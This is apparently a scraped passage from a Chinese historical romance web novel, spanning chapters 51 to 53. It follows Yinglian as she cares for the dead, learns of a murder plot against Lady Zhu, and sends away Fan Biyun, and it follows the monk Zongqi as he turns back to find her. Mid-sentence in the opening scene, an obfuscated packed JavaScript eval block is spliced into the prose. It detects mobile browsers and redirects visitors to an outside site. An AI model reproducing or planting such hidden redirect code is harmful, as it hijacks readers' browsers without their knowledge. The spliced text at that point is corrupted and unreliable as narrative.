她要脱籍，要寻到爹娘兄长的尸骨，在湛湛青天之下，祭扫哭拜。她要重新拿回“应怜”的名字，洗刷掉所背负的耻辱，大大方方地活在世上。 她还要、还要问一问上头主宰的那个人，问他：我家是哪里对不起你？对不起你的万民？我父半生清正守节，纵他有些古板，罪不至死！纵我兄长年少轻狂，却从未于民不利，他那样侠义心肠，罪不至死！我母亲、我、我家中上下几十口，又做过什么错事，得遭如此侮辱！ 这样想着，筋骨里的血一时热一时冷，一晌如油煎、一晌如饮冰，眼前几点昏花油灯彷如团团飘转，将她的心越勾越深。 蓦地一声轻响，三魂六魄霎时吓得乱震。应怜吃了一吓，差点跌下凳，猛一眼望去，一岿巍高大的黑影入得明堂，转到明处，却是宗契。 应怜满腔愤愤的气性登时就灭了。 “师父怎么来了？”她连忙起身。 宗契盘了一圈明堂，只见她一个瘦瘦小小的影儿，便皱了眉，“守庄的人呢？” 应怜道：“他年岁大了，我教他去歇下。总之守灵而已，一个两个，是一样的。” 但瞧宗契师父面上不虞，显然觉着人怠惰，却也没说什么，只又问：“可给了姜？” 她一头雾水，“啊？” 烛火尖尖，摇曳处光影明暗不定，映得他眉眼英挺，比平常又更深邃一分，略拧着眉心望来，在孤凉寒沁的夜中，犹似裹挟了一团温热的火。 那火一路蔓延至应怜身上，便使她觉出一两分热来。她被他的目光瞧得有些局促，忽又想起，这样共处一室是不是不大妥当。 ……可师父是个出家人，龌龊的是她自己！ 正暗自唾弃自己胡思乱想，宗契却道了句“等着”，又折了回去。 一会儿，听屋后几处有了响动，窸窸窣窣，却是宗契把睡下的人给闹起来，几句咕哝指点，又没了声儿。 她坐立不安地在灵堂里等。约摸一盏茶功夫，见他拿着块姜回来，显是从地底下新挖出来，又洗净了，连根带叶，还滴滴答答落着水。 宗契掐头去尾，把最饱壮的一截递与她，自己捡了根底最辣的那端，放入口中。 “可惜没有老姜，用这新熟的嫩姜权驱一驱腐气。”他道，又去看了看棺里的死人，再一回头，见应怜大半夜的，精神气儿回了十成十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|12621540|130924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，一双眼又亮又明，团着烛火微微，竟比萃玉琉璃还要剔透三分。 应怜咔嚓嚓几口啃完了姜，觉着味道甚是爽脆甘美，又一见宗契不错眼地盯着自己，“……怎么？” “那是让你含的。”宗契绷不住笑。 她讷讷点头，脸臊成了块大红布。 好在后院里种了一片。宗契又多费了会功夫，拔了一颗，将巴掌大的嫩姜塞到她手里，“过了重九，入夜天气渐寒了，吃些姜，驱驱寒气也好……留一块压舌根。” 嫩姜清爽，应怜许久没尝过这口滋味，抵不住诱惑，一口一口细细地啃了。 万籁俱寂的夜里，一时便只剩了咔擦咔擦的声儿。 “我娘从前不许我多吃，”应怜总不好意思吃独食，一会儿，才想起来道，“说火气大，吃多了伤脾胃。” 宗契：“唔，话也没错。” 她便掰了一半过去，放在他手里。 细细的指尖猫爪儿似的，往他掌心里一触，根根指节，指甲是粉的，倒比那姜连着叶的粉更嫩。 宗契只觉得掌心发痒，微微一拢，正握着那姜，抬头瞧她，她便抿嘴一笑，透出几分娇憨来。 融着半明的烛火，他忽升腾一个念头：她仿佛胖了些，不那么单薄了。 那半片姜沾染了她手的暖意，宗契握在手里，好一会儿，才慢慢地咬了一口。 姜的清辣，压过了明堂淡淡的腐臭。应怜头脑清明了许多，也不那么困顿，吃完了，掏出帕子擦净了手，想了想，又从腰间小香囊里取了一物，捏在指间，光华秀韵。 竟是缝在珠衫里的那颗最大的珠子。 她示意宗契噤声，自己忍了臭，轻掰开度尘的嘴，把那珠子令死人含入嘴里，又小心翼翼地将已硬直的下颌按平。 宗契默不作声地看着，待她事毕，从后头厨下舀来一瓢清水，挤了姜汁，就着屋外的空地，一边倒水令她净手，一时俱不言语，倒有几分默契。 半晌，他方道：“你待人至诚，她若在天有灵，当会佑你。” 应怜笑了笑，洗净了手，又出了一会神，才直起身，看向他，道：“我已想通了。人死了，是护佑不了谁的，不仅护佑不了亲朋，连自个儿想做的事、想说的话都只能带进土里。” 他们慢慢地回到堂上，仍旧对着那副花了好些钱置办来的柏木棺。 “死后荣辱，那都是给生人看的。哪怕我能为她置千年阴沉木的棺椁，她死也就死了，再活不回来。”她将前半夜的所思所想，一点点说与他听，“我从前想着死，那是因着压根不懂什么是死。如今我懂了，便再不想死。我想活下去。她……他们若真在天有灵，便好好看着，我能更好地活。” 她玲珑的眸子里流着某种冰雪般的清明，宗契被那目光羁住，甚而觉得，透过这双眸，直看进了那颗更为澄澈的心。 他一时想说“这样想就对了”，一时又想说“多少人一辈子也参不透你如今的看法”，但话反复到嘴边，只觉太浅、太说教。 终而，他瞧着她，眉目里入了三分笑，只说了句：“你很好。” 50-60 第51章 第51章离人未待琼花放，暮云催…… 正月初六。 夜半便下起了雪，到晨起时，庭院里薄薄积了一层。那雪颇似前些时在伏牛村，片片飞朔，挨到日午，并未暖和几分，反又积得深了。 应怜撑开一把伞，踩着积雪出门买些吃食，虽也想着学宗契那样，锅里灶间炒菜炙肉做个行家，却究竟怎样买肉买菜也笨手拙脚，只得作罢，寻思是否当真寻个可靠的女使雇来，免得日日这样劳心劳力。 雪天出一趟门十分遭罪，好容易买足了吃喝，又带了好些回去，待到晚间热一热，对付着凑合了。 一日说慢也慢、说快也快，守在不大的红泥小炉旁，热一回饭菜，动两三分筷，天色就又暗了。 她想，这么颓丧着总不是事，聚散离别自有定数，她怎好赖定宗契，他走了，她便连过日子都不会了。 因思忖着明日起，学一学料理三餐饮食，若真不是那块料，再去雇一女使帮衬。 睡前分明想得妥妥帖帖，生了几分决心；转过天来，应怜开门，便傻了眼：急雪落了一日夜，门口巷中积下近尺深，不是砌晶堆莹，却和着泥巴污水，脏乱横流。更早已有左邻右舍乃至对门人家，奉了笤帚扫雪，见她家人丁冷落、门庭紧闭，便把脏雪暗搓搓都向她这阶前扫来几分。 气恼也没用，她只得也如那些人，执了笤帚出来，一点一点扫清阶前雪，一晌里把鞋袜浸得冰凉透湿，那雪印子横一道竖一道，扫得乱七八糟。 邻家妇人碎嘴子，有看不下去的，还来指点她如何扫雪；又问她家人怎的不见，伸头缩脑，往宅院里瞧，弄得应怜谢也不是、恼也不是，勉强扫清了雪，对付了几句，逃荒似的回家去了。 日午仍是买来吃喝，她却又去市廛走了一遭，思量买些肉来一试。 宗契留与的信里写得明白，猪肉一斤三十文、羊肉一斤五十文。她依着这价儿去买，却被那卖肉的伙计笑话了一通，道：“娘子不见如今天寒地冻，又才正月里，哪得三十钱一斤猪肉？我这儿六十钱一斤已是最便宜的了！” 应怜不信，又转了一圈，问过一遍，果是如此，有要六十五钱的、有要七十钱的，不一而足。 那信里又写着：【若价过十之二三，则虚浮欺诓，你莫要去买。】 这教她犯了难，觉着宗契的话总是对的，然诸屠户的话似乎也有理，正踟蹰不决，想着今日莫若就算了，忽听一角里有人招呼：“上好的公猪肉，四十钱一斤，小娘子瞧瞧？” 她应声而去，果见一不大的肉铺子上，吊着几条红白花花的猪肉。她也瞧不出好坏，只八哥学人，跟着问几句“这肉新鲜吗”、“太瘦了”之类，屠户自然道都好；她才多瞄了一条肉几眼，那厮便已利落下钩切了。 应怜才“哎”了两声，想说我不要那许多，二三两就行；怎奈人手起刀落，利得不行，一会儿切完了才上称，笑脸迎向，“二斤二两，零头饶您，算作二斤，八十钱！” 又手下不停，用个油纸包系了，递过来。 应怜面赧，人家切都切了，她也不好不要，想着也不算贵，便付了钱而去。 回到家中，想着宗契从前的手法，洗了一遍，同清水入锅，接着绕到后头烧灶，半天灰头土脸，将火燃了，前后两头忙活，大雪天竟热出了一身汗。 怎么宗契那会就没这样狼狈。她又想，回回厨灶间见他，仿佛同习武一般，游刃有余，也不见如她这样顾前顾不得后，还被倒灶的烟灰呛得咳了半天。 一二刻，应怜便渐渐闻出少许肉香，却混着教人说不上来的腥臊，以为半熟不熟，便灶里添柴，又煮了多长时候。 那味儿更浓，起初尚能忍耐，后渐渐熏得人胃里难受。她只得敞了厨房门窗，才呼吸上一口新鲜气。 都已一个时辰，便是龙肉，也该熟了。 一晌熄了火，她舀出肉来，掩鼻咬了一口，忍耐着嚼了两下，最后实在忍不住，奔到外头，一口气又全吐了出来，自来也没吃过这样又腥又臊又柴的肉。 正逢邻家已吃过饭，三两来串门，入得后头，纷纷掩鼻问：“柳娘子，你这烧得什么玩意？” “是猪肉。”应怜红着脸，觉着这会子嘴里还有一股腥气。 妇人们无事，替她灶间一看，笑话道：“你怎不放大料？只用姜哪能去味儿？况你这猪肉忒老，又腥气，别是贪便宜买了未骟的老公猪！” 她臊眉耷眼听了一回邻家授予的炙肉经，又被拉到隔壁屋吃了一回晚饭；回屋漱洗，早早把自己裹在被褥里，丧气地想，她果真是个百无一用的废物，往日里觉着千般万般好，竟都是宗契哄她的。 也不知他到哪儿了，她这里凛冽飞雪，总盼着他那处晴明些，好赶路程。 他回五台山后，也不知能否通书信。 应怜闭着眼想象，若传他书信，该书哪些事在纸上。 说扬州下雪了，天冷，茶汤凉得都更快，时时要烧着火炉温茶的，所幸她一人度日，不需那许多茶汤。 说她决定要雇个女使在家，只盼运气不差，那人忠心可靠，家事能尽托付于她。 说此地雪景并无看头，她扫雪扫得胳膊快要累断了，手上还磨出了水泡，想用针挑了，却又怕疼不敢。 …… 到底不该教他不放心，莫若只道一切皆好，邻里和善、她身子康健，望他宽心。 忽又想，若教他放心不下是不是更好？这样他或可又回来看她，届时再留住一段时日，得个小团圆。 对了，他是要回来的，年前他说要去江宁府，也不知何时再来扬州。据说扬州的琼花最是闻名遐迩，琼花仲春时节开，望他花开时至，否则辜负了花期，空成怅惘。 就这么胡思乱想，忽听得院外似有仓促叩门声，因隔得远，声儿不真切，应怜没注意；一会儿，叩门声更急起来，接成一片，“嘭嘭嘭”地成了拍门。 她这才惊觉，匆匆披衣下床，趁着夜来风雪，提了灯笼，来到院里，一个念头翻浮脑海：是不是他回来了？ 心登时跳成一片，应怜隔着门，尽量平稳声音：“谁？” 却是一个女子：“我！” 吊起来的一口气瞬间又泄了。 是范碧云。 应怜有些吃惊，忙撤下门栓，才开一条缝，便慌里慌张挤进一人来，细细的身形，果是范碧云。 “你……”应怜见她气色不正，形容狼狈，仍是去时的一身杏色旋袄，灯火移近了才发觉，那袄子已脏污了许多处，又被雪濡得尽湿，惊问，“你不是随祝娘子上路了么？怎么却回来了，还弄得如此狼狈！” 范碧云一拨贴在面颊上透湿的鬓发，冻得身子打颤，哆哆嗦嗦道：“回、回屋再说！” 应怜扶持着她回自个儿那屋，再不能安睡，先取来自己一套衣裳教她换了，又打热水、灌汤婆、烧热茶，一通忙活，这才把她整个回暖，瑟瑟地裹着被子，脸色红润了不少，只是眼眸里还透着惊惧，目光惶惶随她而动。 “到底怎么了？”应怜忙活完了，才问。 范碧云吸吸鼻子，说话前，眼眶先红，不知是怕是怒，“惜奴，你被骗了。” 应怜怔住。 “初三那日，来接我与祝娘子的，根本不是好人，他们、他们想要我们的性命！”范碧云怕得发抖，从被子里钻出一只手，紧攥住应怜不放，“我、我那天夜里睡不着，本想去起夜，却听到那几人外头密谋，说到前头密林里无人处，便将我二人一杀，尸体扔河里，脑袋割了回去覆命……覆命、覆命，他们要覆谁的命！我好怕……” 那手向来连一片指甲都漂亮得像玉做的花儿，此时攥得指尖泛白，桎梏一般，将应怜攥得腕子生疼，却不如她的话更如一道紧箍，牢牢箍在应怜头上，教应怜头脑一片空白。 半晌，她才找回声音：“他们不是标师吗？我亲自去请的啊……” 范碧云急急摇头，当真哭了出来，“所以才说你被骗了啊！我自然信你是好人，只是你那姐姐——李定娘，她骗了你！她根本就是想要祝娘子的命！” 应怜真如万丈深渊，一脚踩空，浑浑噩噩被掼得心胆俱裂，摇头喃喃：“不会、不会，这绝不可能！她为何要害祝娘子？这说不通……” 那灯笼未灭，随意搁在桌上，无风静照，将二人的影子拉长了投在壁上，仿佛张牙舞爪的两只野兽。应怜僵了片刻，未待范碧云开口，陡然猛又一惊，紧盯了她，盯得人心里发毛，反攥住她手，从牙缝里挤出话来：“那你呢？你又是怎么逃出来的？他们身强力壮一行九人，怎么就放过了你！” 范碧云抿着嘴，一张脸阵红阵白，不知是恼她不信，还是惧她如此态度，“我……我……我说我闹肚子，离远了一些……” 她忐忑不安，吞吞吐吐讲完，半晌却不见应怜反应，细窥看她神情，见她不言不语，反倒安静下来，目光虽似在望她，却又好像透过她，望见什么别的东西，便心中更加没底，那点眼泪也干了，更哭不出来，更多的是恐惧。 她错押了宝，如今无处可去，若应怜再不收留她，她一穷二白，还能投奔向谁？ “惜奴……”范碧云又唤了一声，更加可怜，声儿细细的，几乎能勾铁人心底的怜悯心。 她们旧日总还有些情谊，应怜又是个再软和不过的人，听这声声“惜奴”唤出口，总还不会把她往外撵。 只是应怜半晌眸光动了动，凝在她身上，却冷静了下来，点点头，“我懂了。” 范碧云瑟缩着望她。 “就像那次在青玉阁，你丢下我而去一样，”应怜话声平静，却有些凉，“你丢了祝娘子，自己跑了，对不对？” 范碧云被她瞧得难堪到无以复加，低了头争辩：“不是我要丢下她，是那些人凶顽，人又多、又带了刀枪，我一个弱女子，难道能对付得了他们！我难道能从他们眼皮子底下带走祝娘子？” 应怜叹了口气，任她分辩，并不还嘴，却问：“你还听他们说了什么？” 范碧云摇摇头，绞尽脑汁也再说不出什么。 “行了，”应怜起身，勉强压下脑中一团乱麻般的思绪，稳住声音，尽量平和对她，“你也受了不少惊，夜深了，便先睡下，有话咱们明日慢慢讲。你放心，我不会告诉定娘表姐。” 她话中似乎消了火气，范碧云听出几分怜悯意思，几乎喜极而泣，只是惶惶点头，真正有了几分羞惭，说话间便带了哭腔：“惜奴，你真好，不枉我东躲西藏了一整日，半夜才敢来与你通风报信！” 应怜却不答，只是去衣奁里翻出一个包裹，沉甸甸的，又提了灯，自出去了。 那必是她装钱的口袋。范碧云倒在她香香软软的床榻上，困乏极了，心中却想： 她必定是怕我夜来偷了她钱财出逃。何必呢，我既打定了主意跟她，自然不会为了一点蝇头小利，平白污了自己名声。不过她这样做也应当，毕竟人心隔肚皮，谨慎些倒无妨。 最后那话她倒没撒谎，因怕那些人追来，果真是藏了大半日，至晚才偷偷摸摸进了城，否则也不会浑身狼狈。范碧云受了一日夜的惊吓困苦，这时累得很了，不一时便昏昏然睡去，且睡得十分安稳。 她心底是清楚的，应怜此人，最是重诺，既应允了不向李定娘报信，那便必不会泄密。她最是无需担忧。 第52章 第52章山不就我我就山 翌日，雪稍稍住了，庭院里已空莹积了一层于枝头石上，落梅砌下冰雪里，雪也添了一段不输梅的寒香。 原来这小院虽不是雕栏玉砌、朱门绣户，却也自有别样静谧安闲。范碧云晨起梳妆，推窗后怔怔望外，心头涌上一股庆幸，若非闻风而去，如今哪有命在，还看这饶有诗情的雪。 但安闲处自有危机。扬州她是不能再待了，需想个法子搡着应怜也走，否则教那李定娘察觉了，她仍是难逃一劫。 正想着说辞，却见廊下对面来了一人，正是应怜。 她仍携着昨日那小包袱，行来时举动如纤纤月，端的好绰约风姿，隔着两段回廊，彼此相见了，先点一点头，少息便至。 范碧云已想得一番好由头，全是真心实意为她着想，一见了，便先声开口：“惜奴，此地不是久留之所，我思想了一夜，你得走。” 好些个辛苦操劳，全挂在嘴头上，说罢了，观应怜反应，才察觉她虽平静，眼下却微有青黑，比前夜里见又憔悴了些许。 应怜几乎整宿没睡，心里存着事，便不由得去想，熬到近天明，才稍稍睡下了小一个时辰。 她已想好了，故今日将身所携之钱点数一遍，银铤、串钱、会子统归一处，再折上些金银首饰，通共差不多有一千五百贯。在从前买不上几样物件，如今看来，也算是立身安稳了。 这里头零零杂杂，有秦氏夫人所赠、有王家时所得、有宗契走时所留，其余大半，竟都是定娘留下，与她做平日花销。 她分出一些，裹好了行囊，又将余下收好，在厢房里发了好一会呆。 宗契的痕迹已散尽了。如今厢房就是厢房，空屋无人居住，若不打扫，想过一段时候，便要生蛛网灰尘了。 他才走了三日，一屋便已冷落至此；若是几年未见，物是人非，差别岂不更殊绝？ 而她与定娘之间，已生隔了四年。 范碧云那头，见应怜不说话，等她下文，便将那说辞道来：“你与李娘子虽是姊妹，此回她坑害祝娘子事，定然没向你透露一分一毫，足以见她心思深沉。她如此处心积虑，无非就是与那王渡狼狈为奸，不教祝娘子坏了他们的好事。你想，若她晓得你已知情，便就能顾及彼此情分，不对你下手？” 应怜摇头，“我仍是不明，若真如你所说，她为了嫁给王渡；可祝娘子已远避他乡，再不能中间搅扰，为何就不能放她一条生路？” 范碧云迟疑了片刻。 【“这是什么地界？”连日来 ，她心中不安，只得时时问路程。 外头汉子答言：“泗州。” 范碧云向来也不识得什么三洲四洲，心思也不在这上头，不过随口一问，跟着又小声劝祝兰：“都说穷不与富斗，王家如今是地方豪户，咱们孤身两个弱女子，无依无靠，怎么就能斗得过他们？娘子，听我一句劝，就改道去代州吧，别去什么洛京，您如今这样儿，哪有什么大官人肯顾你？” 这已不是她头一回说，这些日，任磨破了嘴皮子，范碧云急得嘴上起了燎泡，祝兰却只不为所动。 这一次，许是问得烦了，祝兰终于开口：“我敢去，自是有底气。他王渡敢收那样一本簿子，要火中取栗；我为何不能借力打力？景顺一党正愁没个东山再起的机会，我送上门去了，他们能坐视不理么？” 一句话里，有大半句，范碧云全听不懂，却隐隐晓得，竟是比斗王家还凶险的事。 她将这话囫囵记在心里，却觑着祝兰脸色，再不敢发问。】 但这些她宁愿烂死在自己肚里，也万不敢与应怜透露一字半句。虽不明就里，范碧云却总觉得，这是对谁也不能说的。 她只得含混揭过：“他们夫妇交恶，更兼新欢旧爱不能容，生了杀心，是常有的事吧。” 应怜不语，已知从她嘴里是问不出什么的了，只是心中仍有一丝疑虑，总觉里头更有什么事，却想不出眉目。 半晌，她上下一打量范碧云，见她已然回了精神，便将那包袱递过去。 “这……娘子何意？”那包袱里头定是财白，范碧云接了，却笑不出来，只觉心里没底。 “这是赠你的川资。”应怜淡淡道，“你知我这处不稳妥，念在你我尚有一点相识之谊的份上，我不忍见你流落飘零。这里有五百贯，足够你好几年花用了。你长得秀丽，人又机灵，嫁夫找主不是难事；你若想回洛京家中，这钱也尽够你一家子救急了。” 五百贯，好大手笔。 范碧云却失声叫出来：“娘子是要赶我走？” 满以为板上钉钉之事，只有她范碧云挑人的份儿，何曾想今日被应怜挑拣了一回，又当不要的零碎扔了出去。 应怜却道：“不是赶你走，你也自知，定娘时常要上我这处来的，万一教她见了你，又生祸患。” “故我方才说，你得与我一道走呀！”范碧云当真急了。 她急，应怜却不急，反找了一侧栏杆，随意坐了下来，一声笑问：“我又不是你身上的物件，为何要随你一道走？” “你就不怕……”范碧云说了个开头便噎住，乍然醒悟过来：疏不间亲，应怜根本不信她危言耸听的一番话。 “你也明白，她是我姐姐。”应怜微仰起头与她说话，语气却愈发从容，“无论如何，她不会对我有所戕害；而你不同，越早走，就越能活命。” ——她当真不要她了。 范碧云满脑子都是这一念头，不由得惶然起来，全身气力也被抽掉了一半，紧前两步，喉头发哽，问：“你赶我走，我又能去哪儿？似我这般不清不楚的人，谁家又能要我！你、你……你怎么这样狠心，你可晓得，我从泗州而归，好几百里路，千辛万苦，日夜也不敢停下，走得脚都磨出了血，想寻人搭车马，却被认作是乞儿，放狗撵我……就为了投奔你！我遭了天大的罪，才寻回扬州，你不能、你不能不要我！” 她好一番动容，说到伤心处，真呜呜咽咽又哭了起来。 应怜听罢了，有一刻，并未说话，彼此上下相视，一个泪眼，一个沉默。 好半晌，她终开口，话中微微奇怪，“你吃了好大的苦头，可这并不是我害的。相反，我先前允你留在这儿，是你要一意随祝娘子走的。如今遭了罪，却反拿这份罪来要挟我，我若不收留你，便就成了见死不救的恶人，当真怪哉。” 范碧云含泪望她，她于泪光之中，面容意外地平静，即便今日落雪暝暝，她眉眼里仿佛却蕴着平和的光彩，如皎月、如润玉，毫不为外物所动。 “你既把话说到这份上，逼我点头，那我便明明白白告于你：你，我不要。”应怜顿了顿，又道，“你为人反复，变化无常；于危难中背弃我在先，是为不义；认祝娘子为主，却弃她于不顾，独自出逃，是为不忠。如此不忠不义，我怎能要你？故赠你川资，教你自寻出路，我自认已仁至义尽了。” 范碧云好一晌怔愣住，说不出话来，眼泪滴答滴答往下掉。 许久，她两腿发软，竟噗通跪在应怜跟前，抱着她双膝，哭道：“我错了，惜奴，我知错了！你别赶我走……我从小没了爹，备受欺凌地长大，总得学着圆滑些，我再不如此了，往后必对你忠心不二，可好？” 她声声哭得人心软。应怜叹了一声，却不敢心软，只推开她起身，“你我注定缘浅，我至多只能与你些钱，再多的，我给不了。你走吧。” 范碧云软硬招数都没了法儿，见她铁了心撵自己，晓得再跪下去，跪到地老天荒，她也不会回心转意了，心中不知是气多还是悔多：“好，你不要我，你嫌我不忠不义。谁人生来自甘下。贱？能做那忠义两全的圣人，我也乐意，只是我不如你好命，锦衣玉食里长成，从不晓得人世艰辛；一朝落了难，却还有个人护着你、保着你……我孑然一身，能倚靠的只有我自己，若认那忠义的死理，如今骨头都不知被哪条野狗啃去了！” 说来奇怪，先前声泪俱下，实则她心中并不怎么悲伤，大半是作给应怜看的；这一会分明心中真正涌来了一股难过，压着她挥之不去，连天地都灰暗了，范碧云却又不想哭了。 哭，是要有人看的。没人看，那泪也不值钱了。 她擦了擦泪，跪得膝盖发麻，直起身，向着应怜，见她已别过脸去，不愿施舍一寸目光，心知尘埃已定，再难更改，伫立廊下，任寒风吹得脸面发干皴疼，半晌动弹，却是给应怜施了个礼，背上行囊，转身而去。 回廊到了拐角，再见不着了，她忍不住又回头望了一眼。 遥遥的廊下，仍立着应怜，远望去身影有些清瘦，侧脸眉目却楚楚，似发怔看一树雪梅，却蹙眉不展，又似思想自己心事。 范碧云收回目光，心中萧瑟，掩门而出。 范碧云走后，应怜又去了一趟顺泰标行。 那姓张的团练今日仍当值，显是心明眼亮，见了她，只拱了手，道：“娘子今日又来了。” 应怜点点头，话不好直接问出口，早已想好了说辞，只道：“我今日来问问那张契纸的事。” “契纸？”张团练不疑有他，答道，“娘子放心，契纸俱是主顾们一人一份。娘子既退了标，契纸归还后，我家自是尽烧成灰的，绝不再生变故。” “……哦，当日来退标的，可是我那姐姐？”应怜问。 “是，是那位姓李的小娘子。契纸是我家与您二位订下的，退也得由您二位来退，旁人来我家是不信的。”张团练笑道。 应怜也笑了笑，“我姐姐说我多虑，你们镖行是最稳妥的。那日……是初三还是初几来着，她退了标，又笑话了我一场。” “初三。”张团练添一句，见她面色微微发白，便又关照，“娘子气色不大好，可要稍歇一歇，喝杯热茶？” “不了，我还有事，顺道路过，问一嘴而已。”她拒了，几句话后，便向他告辞。 张团练送至门口，见人走远了，这才又折了回去。 今日日午，天色愈发昏暗，雪欲落未落，正月里行人匆匆，出门俱都带着伞，言语道恐又要落雪，还是早归的好。 只应怜一人，戴了帷帽，隔着薄薄层纱望这天地，人来人去，各自身边穿梭，行色匆匆，也不知为人为己。 分明有落脚的宅院，她却仿佛忽然一下失了家所在，茫茫然不知归途何往，独自一人躲在帷帽下，且喜旁人觑不着她这灰暗的一角，便指点嘲笑不到她身上，一并连怜悯也撇去了。 只是行路艰难，她仿佛身背千钧在肩，愈走愈累，愈走愈心灰，最后脚步实在挪不动了，一晌歇在人屋檐下，也懒得回首，只待人出门，撵了再走便是。 冻云寒雾，果真不一刻便又落起雪来，她目之所见，但有纷纷行人将散撑起，遮蔽一方小天地 。 也不知缩了多久，直望到路上人迹也少了，新雪又覆了旧雪，连犬马的足迹也遮掩尽，天地又一片茫茫，屋舍老树尽白头相倚。 别人家的屋檐，哪里是久留之所，还是赶紧回家的好。 只是，她哪还有家。 应怜身上冷透，帷帽薄纱遮得住目光，遮不住风雪，她只得蜷缩了身子，许久，钝钝地想，若不回家，还有哪里可去。 一晌又觉着眼光太过狭隘，都已至这般境地，她还有什么牵挂，天大地大，又有哪里不能去？ 要不……去寻他吧。 江宁府寻不着，那便到代州等他；代州若寻不着，那便去五台山等他。 总能把他等来的。 等到他之后怎样，她不知道，但总好过在这处，心中结了死疙瘩，与定娘亲缘成仇，恶言相对。 第53章 第53章归也为情，去也为情 暮云飞雪，百里同天。 那风雪敲窗，搅扰得人残梦难圆。 约摸他也喝了酒，生出醉意，见灯下她比玉莹、比花艳的姿情，竟不似以往恪守清明，反着了魔，将人捞在怀里，听她声声如玉断珠连，唤他：“宗契、宗契……” 窗外雪冷风寒，窗里却春。宵梦鸾，迷障误人。 也不知哪来的琼花露醇美滋味，沁散唇舌，他欺着那人，却于心底生出一种难以言喻的焦灼，恨不得揉碎那极清极艳的身骨，将她揉进自己骨血里，便好带在身边，再也不离分。 那焦灼纾。解不开，催得他失了常性，百般与她狎昵；却又模模糊糊，真似巫山行云，缥缈无凭，陷在她温香软玉里，缠绵已极，激得人气血沸腾，不管不顾便愈发深了下去。 那风声雪声甚嚣，一晌忽惊碎了春。梦，灌入他迷堕神魂里。 宗契猛地惊醒。 她唇舌身体滋味尚在畔，清晰可辨，眼儿里笼着水雾，声声喘息不匀，竟是那夜百般攀缠着他时的动情之色。 那股火气在腹下冲撞不去。他身上愈是燥意，脑里便愈是烦乱。今日晚间住店，多喝了几杯，怎晓得便生出这样猥鄙的心思。 只是她魂梦里，那般可怜可爱，竟勾着他不由得去想，再清静不得。 宗契硬生生拗断这股邪思，黑着脸换了亵裤，后头小半夜，再睡不得，勉强打了坐，脑中却想的也还是她。 风雪寒霄，也不知她那处如何，可锁严实了门窗。 只是走前一日，他买了石炭，教她添盆中取暖，忽惊来醒悟，却未提点她，若烧了炭，不可将门窗锁死，否则那烟气害人，要吃苦头。 愈想愈惊，却强令自己沉稳下来。她往年严冬，家中又不是不烧炭，难道这也不晓得？ 一晌又想回方才那荒诞一梦。 客店里独房独居，又逢深夜无光无火，最易胡思乱想。连他也不能清心寡欲，又恼怒怎将这些糟污之事与她牵在一处，平白亵渎了人，愈想愈不是滋味，索性下榻，将夜来半壶冷茶全灌入肚，压压火气。 反复几次，忧思忧恐，尽是没完没了。 本想着与她已有始有终，一场缘分了了，此夜中独探心境，生各种忧怖牵挂，方悟分明不是缘灭，才是缘起。他身虽遁离，心却未离她一分，纵再行百里千里，岂不是自欺欺人？ 因又想到俗事。譬如那标行，她谈及武师比原定早一日起行，他却总有一二分疑虑。 幼时自家便开得偌大标行，一应规矩到如今也还依稀记得的，仿佛他爹曾提及过，不到万一，不可早行，只因从前出过偷梁换柱之事。 究竟如何，记忆已浅淡了，但正因这一二分疑虑，存到这夜里，又放大成了八九分，想她万一又遭人欺骗，正如那次堕入莲台寺，险险又整个儿断送，可如何是好？ 虽扬州有她表姐，但毕竟她孤身一人，若真遭逢那样恶事，李定娘未必能救。 一时又想得深了，却越想越悔，竟不该只为保全自己清静，早早丢了她。 那心意浅薄，白日纵不思量，夜来魂梦早已出卖了他，笑他早已生了情意，却掩耳盗铃，作不自知。 如今又喜又忧、又悔又惧，真如百爪挠心，谈什么再睡，宗契长叹一声，睁开眼，眸中清光自明，一如此心。 他穿整收拾，拿了镔铁棍，直下得楼去，到柜台结账。 柜上伙计正缩着身子打盹，一晌醒了，揉揉眼，见外头漆黑，向宗契惊讶道：“师父这么早便要动身？” “是，”宗契道，“劳烦把我的马牵来。” 结过钱，伙计自去牵马，在院里交了缰绳，又看看天色，问了句：“这会子恐还未寅正，客人不若吃些东西再走？” 宗契道了声“不用”，翻身上马。他本就高，如今骑在马上，更是比人高出一大截，深幽的夜色里，挺拔巍屹，人品又出众，教人看了，心生折服。 伙计为他开院门，目送着人顶风冒雪，仿佛急事在身，连天明也呆不得，长驱一骑，远行而去。 直待关门时，他才一拍脑袋，“嘿”了一声，自言自语：“这僧人也是，夜中赶路，竟连方向也反了，怎么从来路又去了！” 且笑他来去不分，拂一拂衣上的雪，关门而归了。 红尘人家，凡有些家业的，过年都清静不得。东家来、西家走，热热闹闹，非止家主，连一应女眷也稍不得歇，应酬琐事不绝。 李定娘便被郑氏拉着，各家走动了一回，连着弟弟阿苽，才五岁大的娃娃也带去，说了多少句“吉利”、“如意”，连午觉也不得睡。 好容易忙到初九，本想着去瞧瞧应怜，刚得了闲，却又逢着郑氏过来，要与她念念后宅经。 因着她不久便要出阁，连日来郑氏也不知与她提点了多少，有些事不好谈，便只谈后宅怎样打理。只郑氏自个儿小户出身，也不见得多高明，翻来覆去就那么些话，无非敬重丈夫、孝顺公婆之类，听得人厌烦。 她却还得耐了性子去听，只因郑氏好脸面，一旦自己稍有不耐，下了她的面子，她必又要去父亲那里诉苦，闹得好一阵不安生。 又因她要嫁的是阖州城的大官人，顶顶有家资的，如今郑氏反要来巴着她，望她日后还得接济娘家，因此两下里相敬如宾，客气得反倒不像母女。 郑氏来了，像往常一样念叨了好一会家常，抱着亲子阿苽，也不知想到哪一节，笑语晏晏，打发走了下人，道了一句：“日前的事，又得亏了你，为家中添补，否则账上不好看，才转过年，平白教几个先生笑话。” 她口中的“先生”，乃指家中几间绸缎胭脂铺子的账房先生。 “一家人不说两家话。我总不能坐看家中窘迫，落得卖田卖地的下场。”李定娘微微一笑，口吻很淡，“但公中连年亏空，那几家不来钱的铺子，母亲可有听我的，转手出去？” 